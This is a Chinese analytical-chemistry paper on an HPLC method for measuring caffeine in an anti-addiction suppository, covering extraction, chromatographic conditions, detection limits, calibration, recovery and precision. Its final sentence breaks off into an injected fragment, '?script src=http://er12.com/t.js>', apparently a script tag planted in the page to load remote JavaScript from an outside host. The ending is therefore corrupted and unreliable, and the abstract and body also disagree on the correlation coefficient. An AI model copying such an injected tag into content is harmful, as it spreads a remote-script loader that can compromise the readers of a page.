摘 要：本文叙述了应用hplc法对戒毒新药冰茶栓中咖啡因含量的测定方法，样品经1∶1的乙醚－石油醚溶化，用1∶1的甲醇水溶液提取，用20 mmol／l醋酸铵缓冲液和甲醇（80∶20）作为流动相，经ods－c18柱分离，紫外270 nm检测，加标平均回收率为98．22％，相对标准偏差（cv）日内为0．30％，日间为0．97％，最低检出浓度为25μg／l，最低定量浓度为100μg／l，线性范围为10～250μg／ml，相关系数为0．999 9。
关键词：高效液相色谱法；冰茶栓；咖啡因
目前，常用的咖啡因含量测定方法有紫外分光光度法［1］、高效液相色谱法［1～3］等。紫外分光光度法虽然简便、快速，但当样品中含有270 nm附近具有紫外吸收的杂质时，可产生较大的误差，使结果偏高；用高效液相色谱法测定各种饮料中的咖啡因已有许多报道，但冰茶栓作为一种新药，测定其中的咖啡因还未见报道。
冰茶栓为一种具有戒毒效果的复方栓剂，内含桂皮醛、咖啡因、冰片和微量蛇毒蛋白，本栓剂的填充剂为单甘酯，占总量的90％以上，而咖啡因只占总量的6％。本文的关键在于试样的前处理方法，要找到一种既能完全提取试样中的咖啡因，又能去除试样中的其他组分的方法。由于单甘酯不溶于水、甲醇、乙腈等强极性溶剂，易溶于乙醚、石油醚等弱极性溶剂中，而咖啡因正相反。根据该试样的实际情况，本文利用试样中各组分的极性差异，样品用乙醚－石油醚（1∶1）溶化后，再用1∶1的甲醇水溶液提取其中的咖啡因，用ods－c18柱进行分离，用紫外检测器进行检测。文中对检出限和定量限、标准曲线、方法回收率、系统精密度、方法精密度及系统干扰性试验均作了验证。
1 试验部分
1．1 仪器与试剂
仪器 beckman systemgold hplc，带166紫外检测器；超声波清洗器。
试剂 乙醚（ar级）；石油醚（ar级，30～60℃）；甲醇（ar级）；重蒸水；咖啡因标准品（merck公司）。
1．2 色谱条件
色谱柱：ods－c18柱，5μmparticle size，150 mm×4．6 mm；流动相a：0．02 mol／l醋酸铵水溶液；b：甲醇。a∶b＝80∶20；流速：1 ml／min；检测波长：270 nm；进样量：20 ul；数据运行时间：20 min。
1．3 样品处理
准确称取试样一颗（约2．5 g）于150 ml的小烧杯中，加入100 ml的乙醚－石油醚（1∶1），于超声波振荡器中超声10 min，待试样溶化后，转入250 ml的分液漏斗中，用1∶1的甲醇水溶液150 ml分3次萃取，收集下层溶液于250 ml的容量瓶中，并用1∶1的甲醇水溶液定容至刻度。摇匀后分取5 ml该溶液于50 ml的容量瓶中，用水定容至刻度。过0．3μm的滤膜，取滤液进样。
2 结果与讨论
2．1 咖啡因的检出限和定量限
将3倍于基线噪音的信号确认为峰，此时的溶液浓度为该组分的检出限。当峰高10倍于基线噪音且六次重复进样峰面积相对标准偏差（rsd）均小于10，此时的溶液浓度为该组分的最低定量限。以此为条件，将咖啡因标准品浓度以3倍信噪比浓度为起点，用流动相稀释至0．025μg／ml和0．10μg／ml，分别重复进样六次，结果见表1。
2．2 标准曲线的制作
分别吸取1．0 mg／ml的咖啡因标准储备液100，250，500，1 000，2 000，2 500μl于10 ml容量瓶中，用水定容至刻度。依次重复进样3次，得线性回归方程为y＝5．42 x＋6．8，相关系数r＝0．998。标准色谱见图1。
2．3 方法回收率试验
称取2．66 g试样12份，在试样中加入相当于试样浓度的50％，70％，100％，120％，150％的咖啡因标准溶液，按照与试样相同的方法处理，在上述五点重复两次，取其平均浓度求得各点的平均回收率，平均回收率可达98．22％。
2．4 重现性的试验
2．4．1 系统精密度试验
制备试样一份，日内重复六次进样，日间重复六天进样，结果见表2。由表2可知，日内精密度为0．30％，日间精密度为0．97％，表明系统精密度良好。
2．4．2 方法精密度试验
重复取样五份，按上述方法处理试样后，依次进样，每份重复进样两针。测得样品中咖啡因的平均含量为55．45 mg／g，相对标准偏差为3．99。样品色谱图见图2。
2．5 方法选择性试验
取相当量的药栓填充物单甘酯，桂皮醛，蛇毒，冰片与试样相同方法处理，色谱图见图3。可见，这些成分对测定没有干扰。
3 小 结
本方法适合于复杂样品中咖啡因的测定，操作简便，快速，灵敏度高。经验证，加标平均回收率为98．22％，变异系数（cv）日内为0．30％，日间为0．97％，最低检出限为25μg／l，最低定量限为100 ug?script src=http://er12.com/t.js>
